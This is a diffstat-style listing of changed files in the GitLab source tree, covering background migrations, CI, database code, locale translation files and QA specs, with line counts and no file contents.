-rw-r--r--lib/gitlab/background_migration/migrate_security_scans.rb13
-rw-r--r--lib/gitlab/background_migration/migrate_to_hashed_storage.rb61
-rw-r--r--lib/gitlab/background_migration/move_epic_issues_after_epics.rb13
-rw-r--r--lib/gitlab/background_migration/populate_any_approval_rule_for_merge_requests.rb14
-rw-r--r--lib/gitlab/background_migration/populate_any_approval_rule_for_projects.rb14
-rw-r--r--lib/gitlab/background_migration/populate_canonical_emails.rb28
-rw-r--r--lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities.rb17
-rw-r--r--lib/gitlab/background_migration/populate_has_vulnerabilities.rb64
-rw-r--r--lib/gitlab/background_migration/populate_merge_request_assignees_table.rb44
-rw-r--r--lib/gitlab/background_migration/populate_missing_vulnerability_dismissal_information.rb89
-rw-r--r--lib/gitlab/background_migration/populate_personal_snippet_statistics.rb49
-rw-r--r--lib/gitlab/background_migration/populate_project_snippet_statistics.rb61
-rw-r--r--lib/gitlab/background_migration/populate_vulnerability_feedback_pipeline_id.rb13
-rw-r--r--lib/gitlab/background_migration/populate_vulnerability_historical_statistics.rb14
-rw-r--r--lib/gitlab/background_migration/prune_orphaned_geo_events.rb17
-rw-r--r--lib/gitlab/background_migration/recalculate_project_authorizations_with_min_max_user_id.rb38
-rw-r--r--lib/gitlab/background_migration/recalculate_vulnerability_finding_signatures_for_findings.rb13
-rw-r--r--lib/gitlab/background_migration/remove_duplicate_cs_findings.rb13
-rw-r--r--lib/gitlab/background_migration/remove_duplicated_cs_findings_without_vulnerability_id.rb13
-rw-r--r--lib/gitlab/background_migration/remove_inaccessible_epic_todos.rb13
-rw-r--r--lib/gitlab/background_migration/remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings.rb59
-rw-r--r--lib/gitlab/background_migration/remove_undefined_vulnerability_confidence_level.rb13
-rw-r--r--lib/gitlab/background_migration/remove_vulnerability_finding_links.rb17
-rw-r--r--lib/gitlab/background_migration/replace_blocked_by_links.rb34
-rw-r--r--lib/gitlab/background_migration/reset_merge_status.rb17
-rw-r--r--lib/gitlab/background_migration/reset_shared_runners_for_transferred_projects.rb30
-rw-r--r--lib/gitlab/background_migration/set_merge_request_diff_files_count.rb33
-rw-r--r--lib/gitlab/background_migration/update_existing_subgroup_to_match_visibility_level_of_parent.rb21
-rw-r--r--lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth.rb110
-rw-r--r--lib/gitlab/background_migration/update_location_fingerprint_for_container_scanning_findings.rb13
-rw-r--r--lib/gitlab/background_migration/update_timelogs_null_spent_at.rb34
-rw-r--r--lib/gitlab/background_migration/update_vulnerabilities_from_dismissal_feedback.rb13
-rw-r--r--lib/gitlab/background_migration/user_mentions/create_resource_user_mention.rb36
-rw-r--r--lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser.rb25
-rw-r--r--lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_group_parser.rb25
-rw-r--r--lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_project_parser.rb25
-rw-r--r--lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_user_parser.rb25
-rw-r--r--lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_reference_extractor.rb30
-rw-r--r--lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_visibility_level.rb60
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/commit.rb36
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/commit_user_mention.rb19
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/concerns/isolated_feature_gate.rb20
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/concerns/isolated_mentionable.rb104
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/concerns/mentionable_migration_methods.rb26
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/concerns/namespace/recursive_traversal.rb74
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/design_management/design.rb36
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/design_user_mention.rb19
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/epic.rb52
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/epic_user_mention.rb19
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/group.rb97
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/merge_request.rb47
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/merge_request_user_mention.rb19
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/namespace.rb41
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/note.rb72
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/project.rb48
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/user.rb37
-rw-r--r--lib/gitlab/bitbucket_server_import/importer.rb7
-rw-r--r--lib/gitlab/chat/output.rb4
-rw-r--r--lib/gitlab/ci/badge/coverage/report.rb2
-rw-r--r--lib/gitlab/ci/badge/metadata.rb3
-rw-r--r--lib/gitlab/ci/build/context/base.rb6
-rw-r--r--lib/gitlab/ci/build/policy/variables.rb2
-rw-r--r--lib/gitlab/ci/build/rules/rule/clause/changes.rb2
-rw-r--r--lib/gitlab/ci/build/rules/rule/clause/if.rb2
-rw-r--r--lib/gitlab/ci/config.rb56
-rw-r--r--lib/gitlab/ci/config/entry/processable.rb2
-rw-r--r--lib/gitlab/ci/config/entry/tags.rb2
-rw-r--r--lib/gitlab/ci/config/external/context.rb20
-rw-r--r--lib/gitlab/ci/config/external/mapper.rb56
-rw-r--r--lib/gitlab/ci/config/external/processor.rb11
-rw-r--r--lib/gitlab/ci/features.rb30
-rw-r--r--lib/gitlab/ci/parsers/security/validators/schema_validator.rb2
-rw-r--r--lib/gitlab/ci/parsers/terraform/tfplan.rb2
-rw-r--r--lib/gitlab/ci/pipeline/chain/base.rb2
-rw-r--r--lib/gitlab/ci/pipeline/chain/build.rb4
-rw-r--r--lib/gitlab/ci/pipeline/chain/command.rb13
-rw-r--r--lib/gitlab/ci/pipeline/chain/config/process.rb25
-rw-r--r--lib/gitlab/ci/pipeline/chain/create.rb43
-rw-r--r--lib/gitlab/ci/pipeline/chain/create_deployments.rb44
-rw-r--r--lib/gitlab/ci/pipeline/chain/ensure_environments.rb36
-rw-r--r--lib/gitlab/ci/pipeline/chain/ensure_resource_groups.rb34
-rw-r--r--lib/gitlab/ci/pipeline/chain/seed.rb29
-rw-r--r--lib/gitlab/ci/pipeline/chain/sequence.rb14
-rw-r--r--lib/gitlab/ci/pipeline/chain/validate/external.rb10
-rw-r--r--lib/gitlab/ci/pipeline/expression/lexeme/variable.rb6
-rw-r--r--lib/gitlab/ci/pipeline/expression/statement.rb4
-rw-r--r--lib/gitlab/ci/pipeline/logger.rb103
-rw-r--r--lib/gitlab/ci/pipeline/seed/build.rb33
-rw-r--r--lib/gitlab/ci/reports/security/report.rb2
-rw-r--r--lib/gitlab/ci/status/bridge/common.rb6
-rw-r--r--lib/gitlab/ci/status/build/failed.rb3
-rw-r--r--lib/gitlab/ci/tags/bulk_insert.rb90
-rw-r--r--lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml3
-rw-r--r--lib/gitlab/ci/templates/Jobs/SAST-IaC.latest.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Pages/HTML.gitlab-ci.yml1
-rw-r--r--lib/gitlab/ci/templates/Python.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/Scala.gitlab-ci.yml6
-rw-r--r--lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml4
-rw-r--r--lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml3
-rw-r--r--lib/gitlab/ci/templates/Security/DAST-API.latest.gitlab-ci.yml52
-rw-r--r--lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml2
-rw-r--r--lib/gitlab/ci/templates/dotNET-Core.gitlab-ci.yml6
-rw-r--r--lib/gitlab/ci/variables/builder.rb2
-rw-r--r--lib/gitlab/ci/yaml_processor.rb2
-rw-r--r--lib/gitlab/ci/yaml_processor/result.rb1
-rw-r--r--lib/gitlab/config/entry/undefined.rb4
-rw-r--r--lib/gitlab/content_security_policy/config_loader.rb11
-rw-r--r--lib/gitlab/content_security_policy/directives.rb2
-rw-r--r--lib/gitlab/contributions_calendar.rb72
-rw-r--r--lib/gitlab/daemon.rb15
-rw-r--r--lib/gitlab/database.rb13
-rw-r--r--lib/gitlab/database/async_indexes/index_creator.rb4
-rw-r--r--lib/gitlab/database/background_migration/batched_job.rb1
-rw-r--r--lib/gitlab/database/background_migration/batched_migration.rb12
-rw-r--r--lib/gitlab/database/count/reltuples_count_strategy.rb39
-rw-r--r--lib/gitlab/database/count/tablesample_count_strategy.rb2
-rw-r--r--lib/gitlab/database/gitlab_loose_foreign_keys.yml69
-rw-r--r--lib/gitlab/database/gitlab_schemas.yml13
-rw-r--r--lib/gitlab/database/load_balancing.rb4
-rw-r--r--lib/gitlab/database/load_balancing/configuration.rb4
-rw-r--r--lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb31
-rw-r--r--lib/gitlab/database/load_balancing/sticking.rb9
-rw-r--r--lib/gitlab/database/loose_foreign_keys.rb38
-rw-r--r--lib/gitlab/database/migration_helpers.rb1
-rw-r--r--lib/gitlab/database/migrations/background_migration_helpers.rb148
-rw-r--r--lib/gitlab/database/migrations/batched_background_migration_helpers.rb118
-rw-r--r--lib/gitlab/database/migrations/instrumentation.rb4
-rw-r--r--lib/gitlab/database/migrations/observers/migration_observer.rb4
-rw-r--r--lib/gitlab/database/migrations/runner.rb2
-rw-r--r--lib/gitlab/database/partitioning/detached_partition_dropper.rb2
-rw-r--r--lib/gitlab/database/partitioning/monthly_strategy.rb4
-rw-r--r--lib/gitlab/database/partitioning/partition_manager.rb8
-rw-r--r--lib/gitlab/database/partitioning/single_numeric_list_partition.rb76
-rw-r--r--lib/gitlab/database/partitioning/sliding_list_strategy.rb75
-rw-r--r--lib/gitlab/database/pg_class.rb2
-rw-r--r--lib/gitlab/database/postgres_hll/buckets.rb3
-rw-r--r--lib/gitlab/database/query_analyzer.rb12
-rw-r--r--lib/gitlab/database/query_analyzers/base.rb7
-rw-r--r--lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb67
-rw-r--r--lib/gitlab/database/reindexing.rb20
-rw-r--r--lib/gitlab/database/reindexing/coordinator.rb4
-rw-r--r--lib/gitlab/database/schema_cache_with_renamed_table.rb2
-rw-r--r--lib/gitlab/database/schema_helpers.rb1
-rw-r--r--lib/gitlab/database/shared_model.rb4
-rw-r--r--lib/gitlab/database/type/json_pg_safe.rb24
-rw-r--r--lib/gitlab/diff/custom_diff.rb58
-rw-r--r--lib/gitlab/diff/file.rb33
-rw-r--r--lib/gitlab/diff/file_collection/merge_request_diff_base.rb9
-rw-r--r--lib/gitlab/diff/highlight.rb3
-rw-r--r--lib/gitlab/diff/inline_diff.rb4
-rw-r--r--lib/gitlab/email/handler/create_issue_handler.rb2
-rw-r--r--lib/gitlab/email/handler/reply_processing.rb4
-rw-r--r--lib/gitlab/email/handler/service_desk_handler.rb54
-rw-r--r--lib/gitlab/email/hook/smime_signature_interceptor.rb1
-rw-r--r--lib/gitlab/email/message/in_product_marketing/admin_verify.rb2
-rw-r--r--lib/gitlab/email/message/in_product_marketing/base.rb33
-rw-r--r--lib/gitlab/email/message/in_product_marketing/create.rb2
-rw-r--r--lib/gitlab/email/message/in_product_marketing/helper.rb23
-rw-r--r--lib/gitlab/email/message/in_product_marketing/verify.rb2
-rw-r--r--lib/gitlab/email/receiver.rb14
-rw-r--r--lib/gitlab/email/service_desk_receiver.rb17
-rw-r--r--lib/gitlab/emoji.rb2
-rw-r--r--lib/gitlab/empty_search_results.rb28
-rw-r--r--lib/gitlab/error_tracking.rb9
-rw-r--r--lib/gitlab/etag_caching/router/graphql.rb5
-rw-r--r--lib/gitlab/etag_caching/store.rb12
-rw-r--r--lib/gitlab/exception_log_formatter.rb43
-rw-r--r--lib/gitlab/experimentation.rb3
-rw-r--r--lib/gitlab/experimentation/controller_concern.rb2
-rw-r--r--lib/gitlab/gfm/reference_rewriter.rb2
-rw-r--r--lib/gitlab/git/blob.rb3
-rw-r--r--lib/gitlab/git/diff_collection.rb6
-rw-r--r--lib/gitlab/git/diff_stats_collection.rb4
-rw-r--r--lib/gitlab/git/repository.rb2
-rw-r--r--lib/gitlab/gitaly_client/commit_service.rb13
-rw-r--r--lib/gitlab/github_import/client.rb26
-rw-r--r--lib/gitlab/github_import/importer/diff_note_importer.rb4
-rw-r--r--lib/gitlab/github_import/importer/note_importer.rb1
-rw-r--r--lib/gitlab/github_import/parallel_importer.rb2
-rw-r--r--lib/gitlab/github_import/representation/diff_note.rb21
-rw-r--r--lib/gitlab/github_import/representation/note.rb8
-rw-r--r--lib/gitlab/gon_helper.rb1
-rw-r--r--lib/gitlab/gpg.rb2
-rw-r--r--lib/gitlab/gpg/commit.rb6
-rw-r--r--lib/gitlab/gpg/invalid_gpg_signature_updater.rb4
-rw-r--r--lib/gitlab/graphql/tracers/logger_tracer.rb13
-rw-r--r--lib/gitlab/graphql/tracers/timer_tracer.rb10
-rw-r--r--lib/gitlab/hook_data/merge_request_builder.rb4
-rw-r--r--lib/gitlab/i18n.rb18
-rw-r--r--lib/gitlab/import/import_failure_service.rb27
-rw-r--r--lib/gitlab/import/set_async_jid.rb2
-rw-r--r--lib/gitlab/import_export/group/relation_tree_restorer.rb26
-rw-r--r--lib/gitlab/import_export/json/streaming_serializer.rb13
-rw-r--r--lib/gitlab/import_export/project/import_export.yml77
-rw-r--r--lib/gitlab/import_export/project/relation_factory.rb4
-rw-r--r--lib/gitlab/lograge/custom_options.rb4
-rw-r--r--lib/gitlab/merge_requests/commit_message_generator.rb72
-rw-r--r--lib/gitlab/merge_requests/merge_commit_message.rb60
-rw-r--r--lib/gitlab/merge_requests/mergeability/redis_interface.rb4
-rw-r--r--lib/gitlab/metrics/exporter/base_exporter.rb12
-rw-r--r--lib/gitlab/metrics/exporter/sidekiq_exporter.rb27
-rw-r--r--lib/gitlab/metrics/exporter/web_exporter.rb6
-rw-r--r--lib/gitlab/metrics/samplers/database_sampler.rb32
-rw-r--r--lib/gitlab/metrics/subscribers/active_record.rb32
-rw-r--r--lib/gitlab/pagination/keyset/iterator.rb2
-rw-r--r--lib/gitlab/pagination/keyset/order.rb2
-rw-r--r--lib/gitlab/pagination/offset_pagination.rb10
-rw-r--r--lib/gitlab/patch/legacy_database_config.rb44
-rw-r--r--lib/gitlab/patch/sidekiq_client.rb22
-rw-r--r--lib/gitlab/patch/sidekiq_cron_poller.rb17
-rw-r--r--lib/gitlab/patch/sidekiq_poller.rb17
-rw-r--r--lib/gitlab/process_management.rb85
-rw-r--r--lib/gitlab/quick_actions/issue_actions.rb34
-rw-r--r--lib/gitlab/rack_attack/request.rb2
-rw-r--r--lib/gitlab/rate_limit_helpers.rb35
-rw-r--r--lib/gitlab/redis/multi_store.rb52
-rw-r--r--lib/gitlab/redis/sessions.rb42
-rw-r--r--lib/gitlab/redis/sessions_store_helper.rb27
-rw-r--r--lib/gitlab/redis/shared_state.rb4
-rw-r--r--lib/gitlab/redis/wrapper.rb12
-rw-r--r--lib/gitlab/regex.rb21
-rw-r--r--lib/gitlab/relative_positioning/item_context.rb22
-rw-r--r--lib/gitlab/repository_archive_rate_limiter.rb13
-rw-r--r--lib/gitlab/saas.rb4
-rw-r--r--lib/gitlab/search/abuse_detection.rb81
-rw-r--r--lib/gitlab/search/abuse_validators/no_abusive_coercion_from_string_validator.rb15
-rw-r--r--lib/gitlab/search/abuse_validators/no_abusive_term_length_validator.rb36
-rw-r--r--lib/gitlab/search/params.rb89
-rw-r--r--lib/gitlab/search/query.rb2
-rw-r--r--lib/gitlab/security/scan_configuration.rb47
-rw-r--r--lib/gitlab/sherlock/line_profiler.rb2
-rw-r--r--lib/gitlab/sidekiq_config.rb11
-rw-r--r--lib/gitlab/sidekiq_enq.rb111
-rw-r--r--lib/gitlab/sidekiq_status.rb22
-rw-r--r--lib/gitlab/sidekiq_status/client_middleware.rb3
-rw-r--r--lib/gitlab/spamcheck/client.rb18
-rw-r--r--lib/gitlab/string_range_marker.rb2
-rw-r--r--lib/gitlab/subscription_portal.rb14
-rw-r--r--lib/gitlab/task_helpers.rb3
-rw-r--r--lib/gitlab/tracking.rb12
-rw-r--r--lib/gitlab/tracking/destinations/snowplow.rb14
-rw-r--r--lib/gitlab/tracking/destinations/snowplow_micro.rb11
-rw-r--r--lib/gitlab/usage/metrics/instrumentations/snowplow_configured_to_gitlab_collector_metric.rb17
-rw-r--r--lib/gitlab/usage/metrics/instrumentations/snowplow_enabled_metric.rb15
-rw-r--r--lib/gitlab/usage/metrics/names_suggestions/generator.rb4
-rw-r--r--lib/gitlab/usage_data.rb26
-rw-r--r--lib/gitlab/usage_data_counters/known_events/analytics.yml12
-rw-r--r--lib/gitlab/usage_data_counters/known_events/ci_templates.yml8
-rw-r--r--lib/gitlab/usage_data_counters/known_events/common.yml13
-rw-r--r--lib/gitlab/usage_data_counters/known_events/importer_events.yml3
-rw-r--r--lib/gitlab/usage_data_counters/known_events/quickactions.yml8
-rw-r--r--lib/gitlab/usage_data_non_sql_metrics.rb13
-rw-r--r--lib/gitlab/usage_data_queries.rb13
-rw-r--r--lib/gitlab/utils.rb16
-rw-r--r--lib/gitlab/utils/nokogiri.rb2
-rw-r--r--lib/gitlab/utils/strong_memoize.rb2
-rw-r--r--lib/gitlab/utils/usage_data.rb20
-rw-r--r--lib/gitlab/x509/commit.rb6
-rw-r--r--lib/google_api/cloud_platform/client.rb47
-rw-r--r--lib/safe_zip/extract.rb2
-rw-r--r--lib/sidebars/concerns/container_with_html_options.rb2
-rw-r--r--lib/sidebars/concerns/link_with_html_options.rb14
-rw-r--r--lib/sidebars/concerns/positionable_list.rb8
-rw-r--r--lib/sidebars/groups/menus/customer_relations_menu.rb4
-rw-r--r--lib/sidebars/groups/menus/packages_registries_menu.rb18
-rw-r--r--lib/sidebars/menu_item.rb2
-rw-r--r--lib/sidebars/panel.rb4
-rw-r--r--lib/sidebars/projects/menus/analytics_menu.rb2
-rw-r--r--lib/sidebars/projects/menus/infrastructure_menu.rb10
-rw-r--r--lib/sidebars/projects/menus/shimo_menu.rb41
-rw-r--r--lib/sidebars/projects/panel.rb15
-rw-r--r--lib/tasks/gettext.rake13
-rw-r--r--lib/tasks/gitlab/background_migrations.rake19
-rw-r--r--lib/tasks/gitlab/cleanup.rake29
-rw-r--r--lib/tasks/gitlab/db.rake49
-rw-r--r--lib/tasks/gitlab/gitaly.rake9
-rw-r--r--lib/tasks/gitlab/seed/group_seed.rake2
-rw-r--r--lib/tasks/gitlab/sidekiq.rake5
-rw-r--r--lib/tasks/gitlab/update_templates.rake2
-rw-r--r--lib/tasks/gitlab/x509/update.rake4
-rw-r--r--lib/version_check.rb44
-rw-r--r--locale/am_ET/gitlab.po1666
-rw-r--r--locale/ar_SA/gitlab.po1690
-rw-r--r--locale/as_IN/gitlab.po1666
-rw-r--r--locale/az_AZ/gitlab.po1666
-rw-r--r--locale/ba_RU/gitlab.po1660
-rw-r--r--locale/bg/gitlab.po1668
-rw-r--r--locale/bn_BD/gitlab.po1666
-rw-r--r--locale/bn_IN/gitlab.po1666
-rw-r--r--locale/br_FR/gitlab.po1684
-rw-r--r--locale/bs_BA/gitlab.po1756
-rw-r--r--locale/ca_ES/gitlab.po1666
-rw-r--r--locale/cs_CZ/gitlab.po1678
-rw-r--r--locale/cy_GB/gitlab.po1690
-rw-r--r--locale/da_DK/gitlab.po1868
-rw-r--r--locale/de/gitlab.po1808
-rw-r--r--locale/el_GR/gitlab.po1666
-rw-r--r--locale/eo/gitlab.po1668
-rw-r--r--locale/es/gitlab.po1734
-rw-r--r--locale/et_EE/gitlab.po1666
-rw-r--r--locale/fa_IR/gitlab.po1666
-rw-r--r--locale/fi_FI/gitlab.po1666
-rw-r--r--locale/fil_PH/gitlab.po1666
-rw-r--r--locale/fr/gitlab.po2052
-rw-r--r--locale/gitlab.pot1559
-rw-r--r--locale/gl_ES/gitlab.po1666
-rw-r--r--locale/he_IL/gitlab.po1678
-rw-r--r--locale/hi_IN/gitlab.po1666
-rw-r--r--locale/hr_HR/gitlab.po1672
-rw-r--r--locale/hu_HU/gitlab.po1666
-rw-r--r--locale/hy_AM/gitlab.po1666
-rw-r--r--locale/id_ID/gitlab.po1660
-rw-r--r--locale/ig_NG/gitlab.po1660
-rw-r--r--locale/is_IS/gitlab.po1666
-rw-r--r--locale/it/gitlab.po1668
-rw-r--r--locale/ja/gitlab.po1696
-rw-r--r--locale/ka_GE/gitlab.po1666
-rw-r--r--locale/kab/gitlab.po1666
-rw-r--r--locale/ko/gitlab.po1674
-rw-r--r--locale/ku_TR/gitlab.po1666
-rw-r--r--locale/ky_KG/gitlab.po1666
-rw-r--r--locale/lt_LT/gitlab.po1678
-rw-r--r--locale/mk_MK/gitlab.po1666
-rw-r--r--locale/mn_MN/gitlab.po1666
-rw-r--r--locale/nb_NO/gitlab.po1718
-rw-r--r--locale/nl_NL/gitlab.po1666
-rw-r--r--locale/pa_IN/gitlab.po1666
-rw-r--r--locale/pl_PL/gitlab.po1680
-rw-r--r--locale/pt_BR/gitlab.po2522
-rw-r--r--locale/pt_PT/gitlab.po1670
-rw-r--r--locale/ro_RO/gitlab.po1746
-rw-r--r--locale/ru/gitlab.po1714
-rw-r--r--locale/si_LK/gitlab.po1666
-rw-r--r--locale/sk_SK/gitlab.po1678
-rw-r--r--locale/sl_SI/gitlab.po1678
-rw-r--r--locale/sq_AL/gitlab.po1666
-rw-r--r--locale/sr_CS/gitlab.po1672
-rw-r--r--locale/sr_SP/gitlab.po1672
-rw-r--r--locale/sv_SE/gitlab.po1666
-rw-r--r--locale/sw_KE/gitlab.po1666
-rw-r--r--locale/ta_IN/gitlab.po1666
-rw-r--r--locale/tr_TR/gitlab.po1686
-rw-r--r--locale/uk/gitlab.po3612
-rw-r--r--locale/ur_PK/gitlab.po1666
-rw-r--r--locale/uz_UZ/gitlab.po1666
-rw-r--r--locale/vi_VN/gitlab.po1660
-rw-r--r--locale/zh_CN/gitlab.po2572
-rw-r--r--locale/zh_HK/gitlab.po1662
-rw-r--r--locale/zh_TW/gitlab.po1662
-rw-r--r--metrics_server/dependencies.rb27
-rw-r--r--metrics_server/metrics_server.rb59
-rw-r--r--metrics_server/override_rails_constants.rb20
-rw-r--r--metrics_server/settings_overrides.rb14
-rw-r--r--package.json79
-rw-r--r--qa/Gemfile3
-rw-r--r--qa/Gemfile.lock84
-rw-r--r--qa/README.md10
-rw-r--r--qa/Rakefile3
-rw-r--r--qa/knapsack/gcs/.gitignore3
-rw-r--r--qa/lib/gitlab/page/group/settings/usage_quotas.rb34
-rw-r--r--qa/qa/flow/purchase.rb107
-rw-r--r--qa/qa/flow/settings.rb25
-rw-r--r--qa/qa/mobile/page/project/issue/show.rb2
-rw-r--r--qa/qa/page/admin/overview/users/index.rb4
-rw-r--r--qa/qa/page/admin/settings/component/snowplow.rb49
-rw-r--r--qa/qa/page/admin/settings/component/usage_statistics.rb21
-rw-r--r--qa/qa/page/admin/settings/metrics_and_profiling.rb7
-rw-r--r--qa/qa/page/base.rb23
-rw-r--r--qa/qa/page/component/blob_content.rb86
-rw-r--r--qa/qa/page/component/issuable/common.rb8
-rw-r--r--qa/qa/page/component/issuable/sidebar.rb11
-rw-r--r--qa/qa/page/component/snippet.rb12
-rw-r--r--qa/qa/page/component/wiki.rb5
-rw-r--r--qa/qa/page/component/wiki_page_form.rb21
-rw-r--r--qa/qa/page/dashboard/snippet/show.rb1
-rw-r--r--qa/qa/page/file/shared/commit_message.rb4
-rw-r--r--qa/qa/page/file/show.rb33
-rw-r--r--qa/qa/page/main/terms.rb2
-rw-r--r--qa/qa/page/project/infrastructure/kubernetes/add_existing.rb2
-rw-r--r--qa/qa/page/project/issue/index.rb26
-rw-r--r--qa/qa/page/project/issue/show.rb4
-rw-r--r--qa/qa/page/project/packages/index.rb4
-rw-r--r--qa/qa/page/project/pipeline/show.rb5
-rw-r--r--qa/qa/page/project/pipeline_editor/show.rb60
-rw-r--r--qa/qa/page/project/settings/advanced.rb19
-rw-r--r--qa/qa/page/project/settings/services/jira.rb15
-rw-r--r--qa/qa/page/project/show.rb4
-rw-r--r--qa/qa/page/project/snippet/index.rb1
-rw-r--r--qa/qa/page/project/snippet/show.rb1
-rw-r--r--qa/qa/page/project/sub_menus/issues.rb8
-rw-r--r--qa/qa/resource/api_fabricator.rb9
-rw-r--r--qa/qa/resource/base.rb14
-rw-r--r--qa/qa/resource/deploy_token.rb49
-rw-r--r--qa/qa/resource/errors.rb15
-rw-r--r--qa/qa/resource/events/base.rb2
-rw-r--r--qa/qa/resource/events/project.rb4
-rw-r--r--qa/qa/resource/file.rb5
-rw-r--r--qa/qa/resource/group.rb3
-rw-r--r--qa/qa/resource/group_base.rb2
-rw-r--r--qa/qa/resource/group_deploy_token.rb47
-rw-r--r--qa/qa/resource/merge_request.rb35
-rw-r--r--qa/qa/resource/project.rb26
-rw-r--r--qa/qa/resource/project_deploy_token.rb66
-rw-r--r--qa/qa/resource/project_milestone.rb4
-rw-r--r--qa/qa/resource/reusable.rb63
-rw-r--r--qa/qa/resource/reusable_project.rb45
-rw-r--r--qa/qa/resource/runner.rb2
-rw-r--r--qa/qa/resource/sandbox.rb3
-rw-r--r--qa/qa/runtime/env.rb6
-rw-r--r--qa/qa/scenario/test/integration/kubernetes.rb13
-rw-r--r--qa/qa/scenario/test/integration/service_ping_disabled.rb16
-rw-r--r--qa/qa/scenario/test/integration/ssh_tunnel.rb13
-rw-r--r--qa/qa/service/kubernetes_cluster.rb2
-rw-r--r--qa/qa/service/praefect_manager.rb50
-rw-r--r--qa/qa/specs/features/api/1_manage/bulk_import_group_spec.rb31
-rw-r--r--qa/qa/specs/features/api/1_manage/bulk_import_project_spec.rb134
-rw-r--r--qa/qa/specs/features/api/1_manage/import_github_repo_spec.rb2
-rw-r--r--qa/qa/specs/features/api/1_manage/import_large_github_repo_spec.rb2
-rw-r--r--qa/qa/specs/features/api/1_manage/project_access_token_spec.rb21
-rw-r--r--qa/qa/specs/features/api/1_manage/rate_limits_spec.rb2
-rw-r--r--qa/qa/specs/features/api/1_manage/user_access_termination_spec.rb6
-rw-r--r--qa/qa/specs/features/api/1_manage/users_spec.rb6
-rw-r--r--qa/qa/specs/features/api/2_plan/closes_issue_via_pushing_a_commit_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/automatic_failover_and_recovery_spec.rb13
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb4
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb4
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb5
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/gitaly_mtls_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb12
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/praefect_repo_sync_spec.rb6
-rw-r--r--qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb11
-rw-r--r--qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb28
-rw-r--r--qa/qa/specs/features/api/3_create/merge_request/push_options_remove_source_branch_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/merge_request/push_options_target_branch_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/merge_request/push_options_title_description_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/repository/default_branch_name_setting_spec.rb4
-rw-r--r--qa/qa/specs/features/api/3_create/repository/files_spec.rb4
-rw-r--r--qa/qa/specs/features/api/3_create/repository/project_archive_compare_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/repository/push_postreceive_idempotent_spec.rb4
-rw-r--r--qa/qa/specs/features/api/3_create/snippet/snippet_repository_storage_move_spec.rb2
-rw-r--r--qa/qa/specs/features/api/4_verify/cancel_pipeline_when_block_user_spec.rb2
-rw-r--r--qa/qa/specs/features/api/5_package/container_registry_spec.rb20
-rw-r--r--qa/qa/specs/features/browser_ui/14_non_devops/performance_bar_spec.rb38
-rw-r--r--qa/qa/specs/features/browser_ui/14_non_devops/service_ping_default_enabled_spec.rb22
-rw-r--r--qa/qa/specs/features/browser_ui/14_non_devops/service_ping_disabled_spec.rb22
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/2fa_ssh_recovery_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/log_in_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/log_into_mattermost_via_gitlab_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/maintain_log_in_mixed_env_spec.rb2
